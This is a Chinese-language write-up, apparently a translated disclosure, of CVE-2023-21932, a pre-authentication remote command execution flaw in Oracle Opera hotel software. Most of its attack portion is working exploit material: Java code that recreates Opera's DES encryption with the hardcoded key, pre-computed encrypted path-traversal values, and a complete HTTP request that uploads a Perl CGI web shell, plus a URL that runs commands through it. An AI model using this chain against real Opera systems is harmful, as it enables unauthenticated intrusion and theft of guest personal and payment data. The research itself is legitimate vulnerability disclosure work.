利用操作顺序漏洞实现 Oracle Opera RCE
背景介绍:
如果你在酒店行业工作,很可能已经见过或使用过 Oracle Opera,全球几乎所有最大的酒店/度假村连锁店都使用该软件,这个重要的软件包含了每位客人的所有 PII,包括但不限于信用卡详细信息。
通过对该软件的源代码分析,我们能够通过利用文件上传 servlet 中的操作顺序错误来实现预身份验证远程命令执行, Oracle 目前已发布关键补丁更新并将该漏洞分配编号 CVE-2023-21932。
遗憾的是,国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级,尽管 Oracle 声称,此漏洞不需要任何身份验证即可利用。
发现:
第一次遇到目标是在 2022 年参加一场现场黑客活动时,目标是美国最大的度假村之一,Oracle Opera 的登录页面就成功引起了白帽子的注意,因为它看起来就像是一些 90 年代的残存软件:
鉴于该软件的专业性,它可能没有引起安全研究人员社区的太多关注, Jackson T 在 2016 年发现了 Oracle Opera 中的最后一个主要严重漏洞,后被安全客社区拓展分析。
https://jackson_t.gitlab.io/oracle-opera.html
https://www.anquanke.com/post/id/85180
获得这个软件并不困难。该软件的最新版本可在 Oracle 的下载中心轻松获得,在以普通用户身份进行身份验证后即可访问,获得安装文件不需要许可证或销售电话。
分析:
在 operainternalservlets.war 中,白帽子找到了 FileReceiver 端点的 servlet 映射:
<servlet-mapping> <servlet-name>FileReceiverservlet-name> <url-pattern>/FileReceiverurl-pattern> servlet-mapping>
此映射关联回 com.micros.opera.servlet.FileReceiver
,后者负责接收文件并将其上传到系统。
文件接收端点将以下参数作为输入:
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
通过以上代码你能发现漏洞吗?这是一个经典的操作顺序错误,上面的代码为 jndiname
和username
参数清理加密的有效负载,然后对其进行解密,这应该是相反的顺序,以使其有效。使用上面的代码,这两个变量可以包含我们想要的任何Payloads,而无需进行任何清理。
然后将这些参数传递给以下函数:
if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) { success = false; errorText = "Access denied to " + filename; }
查看 Utility.isFileInWhiteList
函数,可以看到以下逻辑:
private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" }; public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) { if (log == null) log = GenUtils.getServletLogger("Utility"); boolean ret = false; try { String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS); log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]"); if (envFilename != null && (new File(envFilename)).exists()) { Properties iasprop = getPropertiesFromFile(envFilename); if (iasprop != null) for (String envVar : envVars) { ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName); if (ret) break; } } else { log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]"); } } catch (Exception exception) {} return ret; }
上述函数中用户可控的值为 jndiName
和 schemaName
,如前所述,我们能够控制 schemaName 并且不会对此变量清理。
可以在 isAllowedPath
函数中找到构建和检查路径的逻辑:
public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) { boolean ret = false; try { if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) { String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase(); String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase(); if (adjustedFileName.startsWith(adjustedSourcePath)) { ret = true; } else { throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]"); } } else { throw new Exception("Either path, schema or filename is null"); } } catch (Exception e) { e.printStackTrace(); } return ret; }
同样,在此函数中,我们可以控制 schemaName
和 fileName
,由于控制了 schemaName
,并在其中进行了路径遍历,所以可以将adjustedSourcePath的值设置为 D:\
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
其中 schemaName = "foo/../../../../../"
所以 adjustedSourcePath
= "D:\"
,我们的 fileName
可以是 D:\
中的任何文件,并且允许我们将任意文件写入 D:\
。
虽然上面描述了任意文件上传到任何位置的漏洞,但没有解释如何实现预授权命令执行,有两个主要程序可以阻止利用上述漏洞,第一个是能够加密有效字符串,第二个是 JNDI 连接名称。
幸运的是,这两个阻碍因素都可以轻松解决,JNDI连接名可以通过访问以下网址获取:
https://example.com/Operajserv/OXIServlets/CRSStatus?info=truehttps://example.com/Operajserv/OXIServlets/BEInterface?info=truehttps://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
JNDI 名称将由这些 servlet 显示,无需任何身份验证即可访问,现在已经获得了 JNDI 名称,我们可以继续处理加密元素,因为需要向 FileReceiver
servlet 提供加密字符串以实现预身份验证 RCE。
通过分析发现 Oracle Opera 使用了静态密钥来加密字符串,因此能够重新创建他们的加密过程,并将其重新用于加密任意字符串,这是利用该漏洞所必需的。详见下方代码:
public class Main { private static final boolean DECRYPT = false; private static final boolean ENCRYPT = true; public static final int ECB = 0; public static final int CBC = 1; private static final String SK = "bf70460e1fd03bfd"; public static String toHex(String text) { String result = ""; for (int i = 0; i < text.length(); i++) { String hexValue = Integer.toHexString(text.charAt(i)); if (hexValue.length() == 1) hexValue = "0" + hexValue; result = result + hexValue; } return result; } public static String fromHex(String text) { String result = ""; for (int i = 0; i < text.length(); i += 2) { char c; String hexValue = text.substring(i, i + 2); try { c = (char)Integer.parseInt(hexValue, 16); } catch (Exception e) { c = '*'; } result = result + c; } return result; } private int[] createKeys(String key) { int[][] pc2bytes = { { 0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516, 536871424, 536871428, 66048, 66052, 536936960, 536936964 }, { 0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257, 1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, { 0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272 }, { 0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224, 134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, { 0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240, 4112, 266256, 4096, 266240, 4112, 266256 }, { 0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456, 33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, { 0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746 }, { 0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608, 133120, 198656, 537001984, 537067520, 537004032, 537069568 }, { 0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576, 33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, { 0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480, 1032, 268436488, 1024, 268436480, 1032, 268436488 }, { 0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224, 8192, 8224, 1056768, 1056800, 1056768, 1056800 }, { 0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080, 67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, { 0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112, 134217744, 134221840, 524304, 528400, 134742032, 134746128 }, { 0, 4, 256, 260, 0, 4, 256, 260, 1, 5, 257, 261, 1, 5, 257, 261 } }; int iterations = (key.length() >= 24) ? 3 : 1; int[] keys = new int[32 * iterations]; boolean[] shifts = { false, false, true, true, true, true, true, true, false, true, true, true, true, true, true, false }; int m = 0, n = 0; for (int j = 0; j < iterations; j++) { int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++); int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++); int temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; temp = (right >>> -16 ^ left) & 0xFFFF; left ^= temp; right ^= temp << -16; temp = (left >>> 2 ^ right) & 0x33333333; right ^= temp; left ^= temp << 2; temp = (right >>> -16 ^ left) & 0xFFFF; left ^= temp; right ^= temp << -16; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = left << 8 | right >>> 20 & 0xF0; left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0; right = temp; for (int i = 0; i < shifts.length; i++) { if (shifts[i]) { left = left << 2 | left >>> 26; right = right << 2 | right >>> 26; } else { left = left << 1 | left >>> 27; right = right << 1 | right >>> 27; } left &= 0xFFFFFFF0; right &= 0xFFFFFFF0; int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF]; int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF]; temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF; keys[n++] = lefttemp ^ temp; keys[n++] = righttemp ^ temp << 16; } } return keys; } private String[] des(String key, String message, boolean encrypt, int mode, String iv) { int looping[], iterations, spfunction[][] = { { 16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776, 16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028, 66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024, 16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540, 16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0, 65540, 66560, 0, 16842756 }, { -2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272, -2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0, Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304, -2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768, -2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304, 1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800, Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, { 520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512, 131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320, 512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0, 512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584 }, { 8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800, 8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801, 128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928, 8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800, 8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129, 1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801, 128, 8388608, 8192, 8396928 }, { 256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288, 33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0, 1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432, 1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368, 33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544, 1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288, 0, 1074266112, 34078976, 1073742080 }, { 536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704, 4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384, 4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688, 541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928, 4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600, 0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0, 541081600, 536870912, 4194320, 536887312 }, { 2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152, 0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912, 67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2, 67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2, 2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866, 69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048, 67108866, 67110912, 2048, 2097154 }, { 268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600, 268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160, 266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552, 266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304, 268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760, 262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160, 4160, 262208, 268435456, 268701696 } }; for (; key.length() < 8; key = key + key); if (mode == 1) for (; iv.length() < 8; iv = iv + iv); int[] keys = createKeys(key); int m = 0; int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0; int tempcount = 0; int len = 8 - message.length() % 8; if (len == 8) len = 0; int i; for (i = 0; i < len; i++) message = message + "\000"; len = message.length(); i = (len > 505) ? 2 : 1; String[] result = new String[message.length() / 8 + i]; for (i = 0; i < result.length; ) { result[i] = ""; i++; } if (keys.length == 32) { iterations = 3; } else { iterations = 9; } if (iterations == 3) { looping = new int[3]; if (encrypt) { looping[0] = 0; looping[1] = 32; looping[2] = 2; } else { looping[0] = 30; looping[1] = -2; looping[2] = -2; } } else { looping = new int[9]; if (encrypt) { looping[0] = 0; looping[1] = 32; looping[2] = 2; looping[3] = 62; looping[4] = 30; looping[5] = -2; looping[6] = 64; looping[7] = 96; looping[8] = 2; } else { looping[0] = 94; looping[1] = 62; looping[2] = -2; looping[3] = 32; looping[4] = 64; looping[5] = 2; looping[6] = 30; looping[7] = -2; looping[8] = -2; } } if (mode == 1) { cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++); cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++); m = 0; } while (m < len) { int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++); int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++); if (mode == 1) if (encrypt) { left ^= cbcleft; right ^= cbcright; } else { cbcleft2 = cbcleft; cbcright2 = cbcright; cbcleft = left; cbcright = right; } int temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; temp = (left >>> 16 ^ right) & 0xFFFF; right ^= temp; left ^= temp << 16; temp = (right >>> 2 ^ left) & 0x33333333; left ^= temp; right ^= temp << 2; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; left = left << 1 | left >>> 31; right = right << 1 | right >>> 31; for (int j = 0; j < iterations; j += 3) { int endloop = looping[j + 1]; int loopinc = looping[j + 2]; for (i = looping[j]; i != endloop; i += loopinc) { int right1 = right ^ keys[i]; int right2 = (right >>> 4 | right << 28) ^ keys[i + 1]; temp = left; left = right; right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]); } temp = left; left = right; right = temp; } left = left >>> 1 | left << 31; right = right >>> 1 | right << 31; temp = (left >>> 1 ^ right) & 0x55555555; right ^= temp; left ^= temp << 1; temp = (right >>> 8 ^ left) & 0xFF00FF; left ^= temp; right ^= temp << 8; temp = (right >>> 2 ^ left) & 0x33333333; left ^= temp; right ^= temp << 2; temp = (left >>> 16 ^ right) & 0xFFFF; right ^= temp; left ^= temp << 16; temp = (left >>> 4 ^ right) & 0xF0F0F0F; right ^= temp; left ^= temp << 4; if (mode == 1) if (encrypt) { cbcleft = left; cbcright = right; } else { left ^= cbcleft2; right ^= cbcright2; } result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24); result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF); result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF); result[tempcount++] = result[result.length - 1]; chunk += 8; if (chunk == 512) { result[result.length - 1] = result[result.length - 1] + result[tempcount++]; chunk = 0; } } if (!encrypt) result[result.length - 1] = result[result.length - 1].trim(); return result; } public String desEncrypt(String key, String message, int mode, String iv) { String[] result = des(key, message, true, mode, iv); return result[result.length - 1]; } public String[] desEncryptStep(String key, String message, int mode, String iv) { return des(key, message, true, mode, iv); } public String desDecrypt(String key, String message, int mode, String iv) { String[] result = des(key, message, false, mode, iv); return result[result.length - 1]; } public String[] desDecryptStep(String key, String message, int mode, String iv) { return des(key, message, false, mode, iv); } public static String encrypt(String msg) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, "")); return ret; } public static String decrypt(String msg) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, ""); return ret; } public static String encrypt(String key, String msg, int mode, String iv) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = toHex(des.desEncrypt(key, msg, mode, iv)); return ret; } public static String decrypt(String key, String msg, int mode, String iv) { String ret = ""; Main des = new Main(); if (msg != null && msg.length() != 0) ret = des.desDecrypt(key, fromHex(msg), mode, iv); return ret; } public static void main(String args[]) { // jndi name System.out.println(encrypt("oxiopradigds")); // username System.out.println(encrypt("foo/../../../../../")); } }
运行上方代码将会输出以下内容:
java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main // jndi name 0c919bc95270f6921e102ab8ae52e497 // username (with path traversal) f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25
用于将任意文件上传到 D:\ 目录的最终Payload可以在下面找到,此 HTTP 请求会将 CGI web shell 上传到本地文件系统:
POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON©toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1Host: example.comUser-Agent: curl/7.79.1Accept: */*Content-Length: 588Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dcConnection: close #!\ORA\MWFR\11gappr2\perl\bin\perl.exe use strict; print "Cache-Control: no-cache";print "Content-type: text/html"; my $req = $ENV{QUERY_STRING}; chomp ($req); $req =~ s/%20/ /g; $req =~ s/%3b/;/g; print ""; print ''; if (!$req) { print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; } else { print "Executing: $req"; } print " "; my @cmd = `$req`; print " "; foreach my $line (@cmd) { print $line . " "; } print "";
Web Shell 可在以下位置访问:
https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:\Windows\win.ini
如上所述,无需任何特殊访问或授权即可进行 RCE,利用此漏洞执行的所有步骤均未进行任何身份验证,此漏洞的 CVSS 评分应为 10.0。
当然,Oracle Opera 中还有大量的其它漏洞,其中一些目前仍未解决。所以请永远不要将其暴露在互联网上。
以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收获!
